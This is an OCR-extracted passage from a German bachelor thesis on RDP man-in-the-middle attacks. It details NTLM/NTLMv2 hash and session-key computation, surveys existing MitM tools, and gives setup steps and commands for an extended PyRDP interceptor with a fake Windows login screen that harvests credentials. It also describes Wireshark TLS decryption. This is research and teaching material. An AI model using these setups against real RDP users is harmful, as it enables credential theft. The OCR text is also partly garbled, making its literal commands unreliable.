Wenn NTLMv2 aktiviert ist, wird die NTLM-Response durch die NTLMv2-Response und die LM-
Response wird durch die LMv2-Response ersetzt.

Die NTLMv2-Response wird wie folgt berechnet:

1. Der NTLM-Kennwort-Hash wird ermittelt (wie zuvor beschrieben, ist dies der MD4-
Digest des Unicode-Kennwortes in Gross- und Kleinschreibung).

2. Der Unicode-Benutzername in Grossbuchstaben wird mit dem Unicode-
Authentifizierungsziel verkettet (der Domanen- oder Servername, der im Feld Zielname
der Typ-3-Nachricht angegeben ist).

3. Der HMAC-MD5-Algorithmus fir den Nachrichtenauthentifizierungscode wird auf
diesen Wert angewendet, wobei der 16-Byte-NTLM-Hash als Schlissel verwendet wird.
Das Ergebnis ist ein 16-Byte-Wert - der NTLMv2-Hash.

4. Ein Datenblock, der als «Blob» bezeichnet wird, wird konstruiert.

5. Die Challenge aus der Typ-2-Nachricht wird mit dem Blob konkateniert. Der HMAC-
MD5-Algorithmus zur Nachrichtenauthentifizierung wird auf diesen Wert angewendet,
wobei der 16-Byte-NTLMv2-Hash (berechnet in Schritt 2) als Schlissel verwendet wird.
Das Ergebnis ist ein 16-Byte-Ausgabewert.

6. Dieser Wert wird mit dem Blob konkateniert, um die NTLMv2-Response zu bilden.

LMv2 Response

Die LMv2-Antwort wird verwendet, um die Pass-Through-Authentifizierung mit alteren Servern
kompatibel zu machen. Altere Server leiten nur die LM-Antwort weiter und erwarten, dass sie
genau 24 Byte lang ist. Die LMv2-Antwort wurde entwickelt, um solchen Servern einen
ordnungsgemalBen Betrieb zu ermdglichen.

Die LMv2-Response wird wie folgt berechnet:

1. Der NTLM-Kennwort-Hash wird berechnet (der MD4-Digest des Unicode-Kennworts in
GroB3buchstaben).

2. Der Unicode-Benutzername in Grossbuchstaben wird mit dem Unicode-
Authentifizierungsziel (Doméanen- oder Servername) konkateniert, das im Feld «Target
Name» (Zielname) der Typ-3-Nachricht angegeben ist. Der HMAC-MD5-
Nachrichtenauthentifizierungscode-Algorithmus wird auf diesen Wert angewendet,
wobei der 16-Byte-NTLM-Hash als Schlissel verwendet wird. Das Ergebnis ist ein 16-
Byte-Wert, der NTLMv2-Hash.
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3. Eswird eine zufallige 8-Byte-Client-Nonce erstellt (dies ist die gleiche Client-Nonce, die
im NTLMv2-Blob verwendet wird).

4. Die Challenge aus der Typ-2-Nachricht wird mit der Client-Nonce verkettet. Der HMAC-
MD5-Algorithmus zur Nachrichtenauthentifizierung wird auf diesen Wert angewendet,
wobei der 16-Byte-NTLMv2-Hash (berechnet in Schritt 2) als Schlissel verwendet wird.
Das Ergebnis ist ein 16-Byte-Ausgabewert.

5. Dieser Wert wird mit der 8-Byte-Client-Nonce konkateniert, um die 24-Byte-LMv2-
Antwort zu bilden.

NTLM2 Session Response

Die NTLM2-Session-Response kann in Verbindung mit der NTLMZ2-Sitzungssicherheit
verwendet werden (sie wird mit dem Flag «Negotiate NTLM2 Key» verfligbar gemacht). Dies
wird verwendet, um in Umgebungen, die keine vollstandige NTLMv2-Authentifizierung
unterstlitzen, einen verbesserten Schutz gegen Angriffe mit vorberechneten Worterblichern
(insbesondere Rainbow-Table-basierte Angriffe) zu bieten.

Die NTLM2-Sitzungsantwort ersetzt die beiden Antwortfelder LM und NTLM und wird wie folgt
berechnet:
1. Es wird eine zufallige 8-Byte-Client-Nonce erstellt.
2. Die Client-Nonce wird auf 24 Bytes mit Nullen aufgefiillt. Dieser Wert wird in das LM-
Antwortfeld der Typ-3-Nachricht eingefiigt.
3. Die Challenge aus der Typ-2-Nachricht wird mit der 8-Byte-Client-Nonce verkettet, um
eine Session-Nonce zu bilden.
4. Der MD5-Message-Digest-Algorithmus wird auf die Sitzungs-Nonce angewendet, was
zu einem 16-Byte-Wert fihrt.
5. Dieser Wert wird auf 8 Byte abgeschnitten, um den NTLM2-Sitzungshash zu bilden.
6. Der NTLM-Kennwort-Hash wird ermittelt (wie oben beschrieben ist dies der MD4-
Digest des Unicode-Kennworts mit Gross- und Kleinbuchstaben).
7. Der 16-Byte-NTLM-Hash wird mit Nullen auf 21 Byte aufgefiillt.
Dieser Wert wird in drei 7-Byte-Drittel aufgeteilt.
9. Diese Werte werden verwendet, um drei DES-Schlissel zu erstellen (einen aus jedem 7-
Byte-Drittel).
10. Jeder dieser Schlussel wird verwendet, um den NTLM2-Sitzungshash mit DES zu
verschlisseln (was zu drei 8-Byte-Ciphertext-Werten fihrt).
11. Diese drei Chiffretext-Werte werden zu einem 24-Byte-Wert verkettet. Dies ist die
NTLM2-Sitzungsantwort, die in das NTLM-Antwortfeld der Typ-3-Nachricht
geschrieben wird.

®

Anonymous Response

Die Anonymous Response wird angezeigt, wenn der Client einen anonymen Kontext und
keinen echten benutzerbasierten Kontext einrichtet. Dies ist typischerweise der Fall, wenn ein
«Platzhalter» fiir Vorgange bendétigt wird, die keinen authentifizierten Benutzer erfordern. So
sind anonyme Verbindungen auch nicht mit einem Konto verbunden.

In einer anonymen Nachricht des Typs 3 setzt der Client das Flag «Negotiate Anonymous». Das

NTLM-Antwortfeld wird dabei leer gelassen und das LM-Antwortfeld enthalt ein einzelnes Null-
Byte («0x00»).
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8.2.2 Keys

8.2.2.1 User Session Key

Dies ist der grundlegende Schlisseltyp, der in der Sitzungssicherheit verwendet wird. Dabei
gibt es aber viele Varianten. Die verwendete Ableitungsmethode hangt von den in der NTLM-
Typ-3-Nachricht gesendeten Antwort ab. Diese Varianten und ihre Berechnungen werden im
Folgenden dargestellt.

LM User Session Key
Wird verwendet, wenn nur die LM-Response bereitgestellt wird (d.h. bei Win9x-Clients). Der
LM-Benutzersitzungsschlissel wird wie folgt abgeleitet:
1. Der 16-Byte-LM-Hash (zuvor berechnet) wird auf 8 Byte abgeschnitten.
2. Dieser wird auf 16 Bytes mit Nullen aufgefillt. Dieser Wert ist der LM-
Benutzersitzungsschlissel.

NTLM User Session Key
Diese Variante wird verwendet, wenn der Client die NTLM-Response sendet. Die Berechnung
des Schlissels ist recht einfach:
1. Der NTLM-Hash wird ermittelt (der zuvor berechnete MD4-Digest des Unicode-
Passworts in Gross- und Kleinschreibung).
2. Der MD4-Message-Digest-Algorithmus wird auf den NTLM-Hash angewandt, was zu
einem 16-Byte-Wert fiihrt. Dies ist der NTLM-Benutzer-Sitzungsschlissel.

LMv2 User Session Key
Wird verwendet, wenn die LMv2-Response gesendet wird (aber nicht die NTLMv2-Antwort).
Die Ableitung dieses Schllssels ist ein wenig komplizierter:

1. Der NTLMv2-Hash wird ermittelt (wie zuvor berechnet).

2. Die LMv2-Client-Nonce wird ermittelt (wird in der LMv2-Response verwendet).

3. Die Challenge aus der Typ-2-Message wird mit der Client-Nonce verkettet. Der HMAC-
MD5-Message Authentication Code-Algorithmus wird auf diesen Wert angewendet,
wobei der NTLMv2-Hash als Schlissel verwendet wird, was zu einem 16-Byte-
Ausgabewert flhrt.

4. Der HMAC-MD5-Algorithmus wird auf diesen Wert angewandt, wobei wiederum der
NTLMv2-Hash als Schlissel verwendet wird. Der resultierende 16-Byte-Wert ist der
LMv2-Benutzersitzungsschlissel.

NTLMv2 User Session Key
Wird verwendet, wenn die NTLMv2-Response gesendet wird. Die Berechnung dieses Schlissels
ist dem LMv2 User Session Key sehr dhnlich:

1. Der NTLMv2-Hash wird ermittelt (wie zuvor berechnet).

2. Der NTLMv2-«Blob» wird ermittelt (wie in der NTLMv2-Response verwendet).

3. Die Challenge aus der Typ-2-Message wird mit dem Blob konkateniert. Der HMAC-
MD5-Message Authentication Code-Algorithmus wird auf diesen Wert angewendet,
wobei der NTLMv2-Hash als Schlissel verwendet wird, was zu einem 16-Byte-
Ausgabewert fihrt.
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4. Der HMAC-MD5-Algorithmus wird auf diesen Wert angewandt, wobei wiederum der
NTLMv2-Hash als Schlissel verwendet wird. Der resultierende 16-Byte-Wert ist der
NTLMv2-Benutzersitzungsschlissel.

NTLM2 Session Response User Session Key

Wird verwendet, wenn die NTLMv1-Authentifizierung mit NTLM2-Sitzungssicherheit
verwendet wird. Dieser Schlissel wird wie folgt aus den NTLM2-Session Response-
Informationen abgeleitet:

1. Der NTLM-Benutzersitzungsschlissel wird, wie zuvor beschrieben, ermittelt.

2. Die Session-Nonce wird ermittelt (wie zuvor beschrieben, ist dies die Verkettung der
Typ-2-Challenge und der Nonce aus der NTLM2-Session Response).

3. Der HMAC-MD5-Algorithmus wird auf die Session-Nonce angewendet, wobei der
NTLM-Benutzer-Sitzungsschlissel als Schlissel verwendet wird. Der resultierende 16-
Byte-Wert ist der NTLM2-Session Response-Benutzersitzungsschlissel.

Null User Session Key

Der Null-Benutzer-Sitzungsschlissel wird verwendet, wenn eine anonyme Authentifizierung
durchgefiihrt wird. Dieser ist einfach und besteht nur aus 16 Null-Bytes
(«0x00000000000000000000000000000000>).

8.2.2.2 Lan Manager Session Key

Der Lan-Manager-Sitzungsschlissel ist eine Alternative zu den Benutzer-Sitzungsschlisseln,
der zur Ableitung von Schlisseln beim NTLM1-Signieren und -Verschlisseln verwendet wird,
wenn das NTLM-Flag «Negotiate Lan Manager Key» gesetzt ist.

Die Berechnung des Lan-Manager-Sitzungsschlissels lauft wie folgt:
1. Der 16-Byte-LM-Hash (zuvor berechnet) wird auf 8 Byte abgeschnitten.
Dieser wird auf 14 Byte mit dem Wert «Oxbdbdbdbdbdbd» aufgefiillt.
Dieser Wert wird in zwei 7-Byte-Halften aufgeteilt.
Aus diesen Werten werden zwei DES-Schlissel erstellt (einer aus jeder 7-Byte-Halfte).
Jeder dieser Schlissel wird zur DES-Verschlisselung der ersten 8 Bytes der LM-Antwort
verwendet (was zu zwei 8-Byte-Chiffretext-Werten fihrt).
6. Diese beiden Chiffretext-Werte werden zu einem 16-Byte-Wert verkettet, dem Lan
Manager-Sitzungsschlussel.

vk wnn
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8.3 Weitere RDP MitM Tools

Da wir durch die Recherche herausgefunden haben, dass es bereits mehrere Tools fir die
Durchfliihrung eines Man-in-the-Middle Angriffes auf RDP Enhanced Security existieren.
Deshalb wollen wir diese betrachten und ihre Funktionalitdt kurz beschreiben. Diese
Implementierungen kdnnen uns allenfalls dabei helfen, unsere Implementierung
durchzufihren.

8.3.1 SETH

SETH ermoglicht es, eine RDP Enhanced Security NLA-Verbindung auf RDP Enhanced Security
TLS herunterzustufen. Dazu blockiert das Tool Kerberos-Anfragen des Clients und meldet dann,
dass der Domaincontroller (DC) nicht verfligbar ist. AnschlieBend legt es dem Client ein
selbstsigniertes und damit fir den Benutzer nicht Uberprifbares Zertifikat vor, um die
Anmeldedaten des Opfers abzufangen, falls dieses die Verbindung trotz der
Sicherheitswarnung akzeptiert. Es gibt derzeit keine Mdoglichkeit, die Verwendung der
clientseitigen RDP Enhanced Security NLA zu erzwingen, sodass dieser Angriff weiterhin
maoglich ist. Es ist jedoch mdglich, die Validierung der Server-Authentifizierung zu erzwingen,
indem die Authentifizierung Uber Kerberos oder die Verwendung eines von einer
vertrauenswiirdigen Stelle ausgestellten Zertifikats erzwungen wird. (GitHub, 2021)

Link zu Projekt: https://github.com/SySS-Research/Seth

8.3.2 CredSSPY

CredSSPY ist ein Tool, mit dem sich Man-in-the-Middle-Angriffsszenarien auf NLA-
Verbindungen einrichten lasst. Es fihrt ein CredSSP Handshake durch und stellt somit einen
geschitzten TLS Kanal her, welches fir einen Man-in-the-Middle Angriff verwendet werden
kann. (Bourguenolle & Bertoli, 2021)

Link zum Projekt: https://github.com/croustibaie/CredSSPY

8.3.3 RDPY

RDPY ist eine in Python geschriebene Implementierung des RDP-Protokolls. Sie umfasst sowohl
die Server- als auch die Client-Seite des Protokolls. Wie PyRDP ist auch RDPY mit der
ereignisgesteuerten Netzwerk-Engine Twisted aufgebaut. RDPY unterstitzt sowohl die
Standard-Sicherheitsstufe als auch die erweiterte Sicherheitsstufe von RDP. In der erweiterten
Sicherheitsstufe ist die Authentifizierung tGber TLS sowie NLA (CredSSP tber NTLMv2) mdglich.
(GitHub, 2021)

RDPY stellt die folgenden RDP- und VNC-Binardateien zur Verfligung:
e RDP Man In The Middle Proxy, der Sitzungen aufzeichnet
e RDP-Honeypot
e RDP Screenshoter

e RDP-Client
e VNC-Client
e VNC-Screenshoter
e RSS-Player

Link zum Projekt: https://github.com/citronneur/rdpy
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9 Installation & Handhabung

9.1 PyRDP-Client Installation

PyRDP lasst sich mittels Docker-Image und Git-Source installieren. Eine ausfihrliche Anleitung
fur die Installation ist auf der GitHub-Seite von PyRDP vorhanden:
https://github.com/GoSecure/pyrdp#installing

PyRDP setzt Python 3.6 oder hoher voraus. Dieses Tool wurde vom Entwickler auf Python 3.6
unter Linux (Ubuntu 18.04) und Windows getestet. Auf OS X wurde es hingegen nicht getestet.
(Im Rahmen dieser Arbeit wurde PyRDP auf einer virtuellen Ubuntu 18.04-Maschine mit
VirtualBox ausgefihrt.)

e VirtualBox — Download: https://www.virtualbox.org/wiki/Downloads

e Ubuntu ISO - Download: https://ubuntu.com/download/desktop

Es wird empfohlen, PyRDP in einer virtuellen Umgebung zu installieren, um Probleme mit
Abhangigkeiten zu vermeiden.

9.1.1 Erweiterte PyRDP-Client Installation

Den erweiterten PyRDP-Code mit CredSSP-Authentifizierung und Umgang mit Fake-Login-
Screen findet man unter dem folgenden Link:
https://gitlab.ost.ch/ba/rdp-man-in-the-middle/-/tree/master/code/pyrdp

Fir das Starten der Alternative Man-in-the-Middle Variante missen RDP Server und Fake-
Login-Screen Server korrekt aufgesetzt werden. (siehe Kapitel 9.2
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RDP-Client/-Server Konfiguration & 9.3 Fake Login-Screen Server)
Nach dem Aufsetzen von dem Fake-Login-Screen Server und RDP Server kann das PyRDP-

mitm.py File mit den Parametern Zielserver-IP, Username von Fake Server, Passwort von Server
und Fake Server IP gestartet werden (Beispielbefehl in 7.1.2 Einbindung in PyRDP):

pyrdp-mitm.py <Zielserver-IP> --username <Username> --password <Passwort> --nla <Fake Server-
P>
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9.2 RDP-Client/-Server Konfiguration

9.2.1 Server

Als RDP-Server wurde fiir diese Arbeit ein virtueller Server mit dem Betriebssystem «Windows
Server 2019» verwendet. Prinzipiell kann auch ein beliebiges Windows-Client-Betriebssystem
verwendet werden, sofern es die Erzwingung der Authentifizierung auf Netzwerkebene (NLA)
fur den Fernzugriff unterstitzt.

Damit PyRDP in seiner Standard-Funktionalitdt verwendet werden kann, muss jedoch die
Erzwingung von NLA deaktiviert sein. (Siehe: Abbildung 36 & Abbildung 37)

A Systemn

« v 4 Sy Systemsteuerung » System und Sicherheit » System v O

Startsejte der Systemsteusrung L . . .
’ : Basisinformationen lber den Computer anzeigen

Ey Gerate-Manager

Windows-Edition

o .
X matesinstellunge -
W hemotesinsieTungEn Windows Server 2019 Standard Evaluation

o
X Erweitert "
. rerEre © 2018 Microsoft Corporation. Alle Rechte

Systemeinstellungen
! vorbehalten.

Abbildung 36: Windows Remoteeinstellungen (Eigene Darstellung)

Systemeigenschaften X

Computername  Hardware Erweitert Remote

Remoteunterstitzung

erstitzungsverbindungen mit diesem Computer zulassen

Bemotedesktop
‘Wahlen Sie eine Option aus, und geben Sie anschliefiend an, wer
gine Verbindung herstellen darf
() Keine Remoteverbindung mit diesem Computer zulassen

@ Remoteverbindung mit diesem Computer zulassen

Werbindungen nur von Computern zulassen, auf denen
Remotedesktop mit Authentifizierung auf Netzwerkebene
ausgefuhrt wird (emplohlen)

Entscheidungshife Benutzer auswEhlen...

aK Abbrechen

Abbildung 37: Windows NLA aktivieren (Eigene
Darstellung)

Um den RDP-Server immer Uber die gleiche IP-Adresse erreichen zu kénnen, wird empfohlen
diesem eine statische IP-Adresse zu vergeben.
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9.3 Fake Login-Screen Server

Damit PyRDP die Anmeldeinformationen eines RDP-Clients erfassen kann, der versucht eine
RDP-Verbindung aufzubauen, muss er die Client-Anfrage an einen Server weiterleiten, der den
RDP-Dienst selbst aktiviert hat, damit die Anfrage nicht verworfen wird. Der PyRDP
authentifiziert sich jedoch mit einem Konto, das effektiv auf dem Fake-Login-Screen-Server
existiert. Nun hat PyRDP die Moglichkeit, die aufgebaute RDP-Verbindung zum Server, auf
welchem der Fake Login Screen (7.1 Fake Login Screen) lauft, auf den Client umzuleiten.

Wie jedoch der Fake-Login-Screen auf dem separaten Server gestartet wird, wird im folgenden
Abschnitt beschrieben.
1. NLA muss auf dem Fake Login-Screen Server deaktiviert sein. Denn zwischen dem Client
und dem PyRDP wird eine RDP Enhanced TLS-Verbindung aufgebaut.
2. Auf dem Fake-Login-Screen Server muss Python installiert werden, damit der
Anmeldebildschirm gestartet werden kann.

3. Der im Kapitel 7.1 Fake Login Screen implementierte, gefdlschte Windows-
Anmeldebildschirm muss auf dem Fake Login Screen-Server gestartet werden.

a. Dazu muss als erstes der Source-Code des Fake Login Screens lokal abgelegt
werden. (Link zum Source-Code: https://gitlab.ost.ch/ba/rdp-man-in-the-
middle/-/tree/master/code/fakeLoginScreen )

b. Danach kann der Fake Login Screen einfach mit dem folgenden Befehl tber die
Kommandozeile oder einem Python-Editor gestartet werden.

python fakelLoginScreen.py
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9.4 Wireshark - CredSSP Paketanalyse

Fur die Analyse des RDP-Traffics, mit Wireshark, zwischen Client und Server, der mit
NLA/CredSSP geschitzt ist, wurden die folgenden Schritte durchgefihrt:

Da die RDP-Verbindung mit TLS verschlisselt wird, muss der private Schliissel bekannt sein.
Daher wurden zunachst ein selbstsigniertes Zertifikat mit dem Format PFX (hauptsachlich in
der Windows-Plattform verwendet) und ein privater Schliissel mit dem Tool OpenSSL erzeugt.
Die folgenden OpenSSL-Befehle wurden zur Erstellung des Zertifikats verwendet:
(https://adfinis.com/blog/openssl-x509-certificates/)

Schliisselpaar generieren:

openssl genrsa -out certificate.key 4096

Offentliches Schliisselpaar extrahieren:

openssl rsa -in certificate.key -pubout -out certificate_public.key

CSR Datei generieren:

openssl req -new -key certificate.key -out certificate.csr

Selbstsigniertes Zertifikat generieren:

openssl req -text -in certificate.csr -noout -verify

openssl x509 -in certificate.csr -out certificate.crt -req -signkey certificate.key -days 365
crt-Format in pfx-Format umwandeln

openssl pkes12 -export -out certificate.pfx -inkey certificate.key -in certificate.crt

Anschliessend wurde das Zertifikat mit PFX Format auf dem RDP Server importiert (Abbildung
38). Fir Detail siehe «Import the Certificate” auf: https://support.globalsign.com/ssl/ssl-
certificates-installation/import-and-export-certificate-microsoft-windows)

E Consolel - [Console Root\Certificates (Local Computer)\Persenal\ Certificates]

EFiIe Action  View Favorites  Window  Help

o= | A5 8|l6= HE

| Console Root Issued To - Issued By Expiration Date
v ffj C?"‘p'fe'::::zl('-m' Computer) Eolvserver VServer 11.03.2023
| Certificates _
| Trusted Root Certification Auth All Tasks ’ Request New Certificate...
| Enterprise Trust Refresh Impeort..
; Intermediate Certification Auths S e el CreEr TS s
| Trusted Publishers
| Untrusted Certificates View b

Abbildung 38: Windows Zertifikat importieren (Eigene Darstellung)
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Das Zertifikat fir RDP-Verbindungen wurde auf dem RDP-Server so konfiguriert, dass das neu
importierte Zertifikat fir eingehende RDP-Verbindungen mit dem Server verwendet wird. Das
wurde gemacht, damit in Wireshark der RDP-Verkehr mit dem bekannten privaten Schlissel
entschlisselt werden kann. (Siehe https://docs.microsoft.com/en-us/troubleshoot/windows-
server/remote/remote-desktop-listener-certificate-configurations )

Ausserdem musste die Perfect Forward Secrecy beriicksichtigt werden, da solche Chiffren
mehrere Sitzungsschlissel fir eine SSL/TSL-Verbindung erzeugen und nicht mit einem
privaten Schlissel entschlisselt werden kénnen. Daher wurde auf dem RDP-Server die
Verschlisselungskonfiguration (Abbildung 39) so angepasst, dass die Forward Secrecy nicht
unterstitzt wird. (Siehe Step 2 https://unit42.paloaltonetworks.com/wireshark-tutorial-
decrypting-rdp-traffic/)

A S5L Cipher Suite Order O >

F5] SSL Cipher Suite Order Next Setting

() Mot Configured Comment:

(®) Enabled

() Disabled
Supported on: | At |east Windows Vista

Options: Help:

SSL Cipher Suites This policy setting determines the cipher suites used by the

Secure Socket Layer (55L).

TLS_RSA_WITH_AES_256_CBC_SHA256

If yols enable this policy setting, SSL cipher suites are prioritized
in the order specified.

If you disable or do not configure this policy setting, default
cipher suite order is used.

Link for all the cipherSuites: http://go.microsoft.com/fwlink/?
Linkld=317263

Abbildung 39: SSL Cipher Suite (Eigene Darstellung)
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Anschliessend kann der im ersten Schritt erzeugte private Schlissel in Wireshark unter
Preferences > Protocols > TLS > «RSA keys list» > «Edit» angegeben werden (Abbildung 40).

‘ Wireshark - Preferences

TDMoE ~

TDMoP
o5 RSAkeyslist | Edit..

Transport Layer Security

Team5peak?

TECMP
TELMET TS debug file

RSA keys list (deprecated) |

Teredo lFiIesF‘raxis'nFilesZuPraxisteil'n,'I'LS-InfSi 1_sslkey. bt Browse...

TETRA
TFE Reassemble TLS records spanning multiple TCP segments

TFTP Reassemble TLS Application Data spanning multiple TLS records
Thread
Thrift
Tibia Pre-Shared Key |

TIME (Pre)-Master-Secret log filename
TIPC
TiVeConnect
TLS

THS
Token-Ring
TPCP

TPKT

TPM2.0

TPMCP
TRAMNSUM
T5OMS ]

[[] Message Authentication Code (MAC), ignore “mac failed™

in'n,Desktop'nFiIesZuPraxisteil'n,‘I‘LS—InfSi 1_sslkey.tut Browse...

Cancel Help

Abbildung 40: Wireshark TLS Einstellungen (Eigene Darstellung)

Der Schlussel kann wie folgt angegeben werden. (IP address = IP-Adresse vom Server, Port =
Port von RDP, Protocol = tpkt, Key File = Datei mit privatem Schliissel, siehe Abbildung 41)
M TS Decrypt

IP address Port  Protocol Key File Password
152.96.56.45 3389 tpkt Ci/test/certificate key

Abbildung 41: TLS Decrypt (Eigene Darstellung)

Nach der Konfiguration des privaten Schliissels kann die RDP Verbindung TLS-entschlisselt
analysiert werden.

1. Wireshark 6ffnen und Paket-Erfassung starten. (siehe Abbildung 42)

d B © xR E ] = =

| |.£=.[:[:I'}-* a display filter ... <Ctrl-/=

Welcome to Wiresh

.

Abbildung 42: Wireshark Packeterfassung (Eigene Darstellung)
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2. RDP-Client starten und eine Verbindung zu dem RDP-Server herstellen, auf dem NLA
aktiviert ist. (siehe Abbildung 43)

] Remaotedesktopverbindung — ot
&.‘. Remotedesktop

',<) Verbindung
Computer: | IEERERE v

Benutzemame: DESKTOP-KTESMST\Administrator

Zum Herstellen einer Verhindung mit dem
Teminaldienstegateway-Server werden gespeicherte
Anmeldeinformationen verwendet. Sie konnen diese
Anmeldeinformationen bearbeiten oder loschen.

(> Optionen einblenden Hiffe:

Abbildung 43: RDP Verbindung herstellen (Eigene Darstellung)

Spater kénnen alle Pakete zwischen RDP Client und RDP Server anhand der Ziel-IP-Adresse
(ip.addr == «IP Adresse Server») gefiltert werden und entschllsselt angesehen werden.
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10  Projektmanagement

10.1 Einfiihrung

10.1.1 Zweck

Der Zweck dieses Dokumentes setzt sich aus mehreren Aspekten zusammen.

Wir moéchten das komplexe Vorhaben der Bachelorarbeit in mehrere Teilschritte aufgliedern
und Ubersichtlich gestalten. Arbeiten sollen nicht doppelt ausgefiihrt werden, was wir mit einer
prazisen Aufteilung der Aufgaben sicherstellen. Wir mochten realistische Ziele setzen und
deren Aufwand und die bendtigten Ressourcen korrekt kalkulieren.

10.1.2 Gultigkeitsbereich

Der Gultigkeitsbereich beschrankt sich auf die Projektdauer des Moduls «Bachelorarbeit», im
Frihlingssemester 2021. Das Dokument wird von der OST intern verwendet.
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10.2 Projektiibersicht

10.2.1 Ausgangslage

Im Oktober 2020 wurde behauptet, dass PyRDP auch RDP-Verbindungen, die mit NLA/CredSSP
geschitzt sind, intercepten kann. Jedoch wird erwdhnt, dass ein Angriff mittels PyRDP nur
moglich, wenn der Angreifer bereits Schliisselmaterial vom Serversystem gestohlen hat. Ein
MitM Angriff kdnnte aber trotzdem mdglich sein. Wir wollen es deshalb genau wissen und das
Protokoll im Rahmen der Arbeit genauer analysieren und falls méglich ein PoC implementieren.

10.2.2 Projektcharakter

Das Projekt bzw. die Arbeit unterliegt zeitlichen und personellen Beschrankungen. Bei dieser
Arbeit handelt es sich weitgehend um die Analyse der gestellten Hauptaufgabe. Daher ist die
Machbarkeit der Aufgabe nicht von Anfang an gewahrleistet. Wenn die Analyse die
Machbarkeit bestatigt, wird ein Proof of Concept fiir ein vorgegebenes Tool implementiert.
Daher kann diese Arbeit als ein Innovationsprojekt angesehen werden.

10.2.3 Zweck und Ziel

Ziel unseres Projektes bzw. unserer Arbeit ist es, dass wir das bisher im Studium erlerntes
Wissen in einer realen Problemstellung anzuwenden.

Aufgrund des fehlenden Vorwissens Uber die zu verwendenden Tools (PyRDP, RDP), der
Programmiersprache (Python) und dem Umfang der Arbeit, wollen wir wahrend unserer Arbeit
agil vorgehen.

10.2.4 Lieferumfang

Unsere Arbeit besteht hauptsachlich aus Dokumentation und allenfalls Code-Erweiterungen.
Folgende Dokumente werden am Ende der Arbeit geliefert:

= Abschlussbericht gemass Aufgabenstellung

= Sitzungsprotokolle

= Code -Erweiterungen (falls moglich)

= Abstract zusatzlich im Online-Tool der OST erfasst
= Poster in elektronischer & Papier Form

= Eigenstandigkeitserklarung

= Prasentation

10.2.5 Annahmen und Einschrankungen

Das Projekt verlduft Gber ein ganzes Semester. Fir das Modul gibt es 12 ECTS, was
umgerechnet 360 Stunden Arbeit pro Person entspricht. Unser Team besteht aus drei Personen,
aufsummiert also 1080 Stunden Arbeit. Das Frihlingssemester umfasst 14 Arbeitswochen,
verteilt auf genau 15 Kalenderwochen. Die endgliltige Abgabe der Bachelorarbeit hingegen
erfolgt zwei Wochen spater, 18.06.2021.
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10.3 Projektorganisation

Das Projekt verfiigt Gber eine flache Organisationsstruktur. Hierbei werden alle wichtigen
Entscheidungen im Projektteam getroffen, wobei jedes Mitglied gleichgestellt ist und
gleichermassen am Projekt beteiligt, ist. Das Projektteam besteht aus Kevin Moro, Aynkaran

Sundralingam und Danusan Premananthan.

10.3.1 Organisationsstruktur

Zusatzlich zu den unten erwahnten Zustandigkeiten ist jedes Projektmitglied dafir
verantwortlich, seine Arbeit zu dokumentieren und die Dokumente auf dem neuesten Stand zu

halten.

Danusan Premananthan
danusan.premananthan@ost.ch

Diplomand
‘_ - Datenmanagement, Protokollfiihrung

Kevin Moro
kevin.moro@ost.ch

Diplomand
- Risikomanagement, Infrastruktur

Aynkaran Sundralingam
aynkaran.sundralingam@ost.ch

Diplomand
- Projektmanagement

Tabelle 5: Organisationsstruktur (Diplomanden)
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10.3.2 Externe Schnittstellen

Folgende externe Schnittstellen wurden fir unser Projekt definiert.
Cyrill Brunschwiler
cyrill.brunschwiler@ost.ch

Betreuer

Christoph Frei
christoph frei@swissre.com

Experte

Prof. Frank Koch
frank.koch@ost.ch

Gegenleser

Tabelle 6: Organisationsstruktur (externe)
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10.4 Management Ablaufe

10.4.1 Eckdaten

Das Projekt lauft wahrend 17 Semesterwochen (22.02.2021 bis 18.06.2021). Wahrend diesem
Zeitraum arbeitet jedes Projektmitglied (mindestens) 360 Stunden am Projekt, das entspricht
12 ECTS und aufsummiert ergibt das 1080 Arbeitsstunden iber das ganze Projekt verteilt.

Bei 17 Wochen resultiert daraus ein Wochendurchschnitt von 21.2 h/Person. Die 17 Wochen
ergeben sich aus den 15 Unterrichtswochen im Frihlingsemester 2020, sowie der ersten zwei
Juni Wochen.

Beschreibung b

Projektdauer 17 Wochen

Projektmitglieder 3 Personen

Arbeitsstunden pro

Person / Woche 21.2h

Arbeitsstunden 1080 h

(gesamt)

Projektstart Montag, 22. Februar 2021

Projektende Freitag, 18. Juni 2021 bis 12:00
Prasentation Freitag, 18. Juni 2021 16:00 - 20:00 Uhr

Tabelle 7: Projekt-Eckdaten

Der Projektumfang erlaubt es, die vorgesehene Zeit vollumfanglich auszunutzen. Sofern die
Analyse uns vorzeitig erkennen lasst, dass unser Vorhaben nicht méglich ist, wird in diesem Fall
mit dem Betreuer besprochen wie weitergefahren wird.

10.4.2 Zeitliche Planung

Fir das Zeitmanagement und das Verwalten der einzelnen Arbeitspakete wird GitLab
verwendet. Damit die Planung nach Abschluss des Projekts mit dem effektiven Zeitaufwand
verglichen werden kann, soll jegliche Arbeit auf 5 Minuten genau erfasst werden.

10.4.2.1 Projektphasen

Fir die Durchfiihrung der Arbeit wird das Vorgehensmodell <RUP» verwendet. Dies ermoglicht
ein agiles, iteratives und auf sich aufbauendes Vorgehen. Das Modell wird idealerweise fiir
komplexe und unklare Projektanforderungen, wie es im Falle dieser Arbeit ist, verwendet. Die
Phasen Elaboration und Construction werden in mehreren Iterationen durchgefiihrt. RUP hilft
dabei, stabile und gleichzeitig flexible Losungen zu bauen. Das RUP-Modell teilt den gesamten
Projektverlauf in vier Phasen auf: Inception (Konzeption), Elaboration (Entwurf, aber in dieser
Arbeit «Analyse»), Construction (Konstruktion) und Transition (Ubergabe). (Abbildung 44)
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Abbildung 44: Zeitliche Planung (Eigene Darstellung)

Inception (22.02.2021 - 28.02.2021)

Die Hauptaufgabe der Inception Phase ist es, das komplette Projekt, so weit wie es geht, zu
planen. Dabei sollen unter anderem die Projekt-Eckwerte wie auch die mdglichen Projektrisiken
definiert werden. Eine der wichtigsten Aufgaben in dieser Phase ist es, den zeitlichen Ablauf
der durchzufihrenden Arbeiten zu planen und in Form eines Projektplans festzuhalten. Nebst
der Projektplanung sollen auch allgemeine administrative Arbeiten, wie auch die in jedem Fall
bendtigten Infrastrukturen, wie z.B. GitLab, Datenablage, etc. erledigt bzw. aufgesetzt werden.

Elaboration (01.03.2021 - 25.04.2021)

In der Elaboration Phase geht hauptsachlich um das Einlesen in die relevanten Themen und die
Durchfiihrung der Machbarkeitsanalyse firr die erhaltene Aufgabenstellung. Dabei sollen die
recherchierten Themen, durchgefiihrten Analysen sowie dabei erhaltenen Erkenntnisse
dokumentiert werden. Am Ende der Elaborationsphase geht es um die Beantwortung der
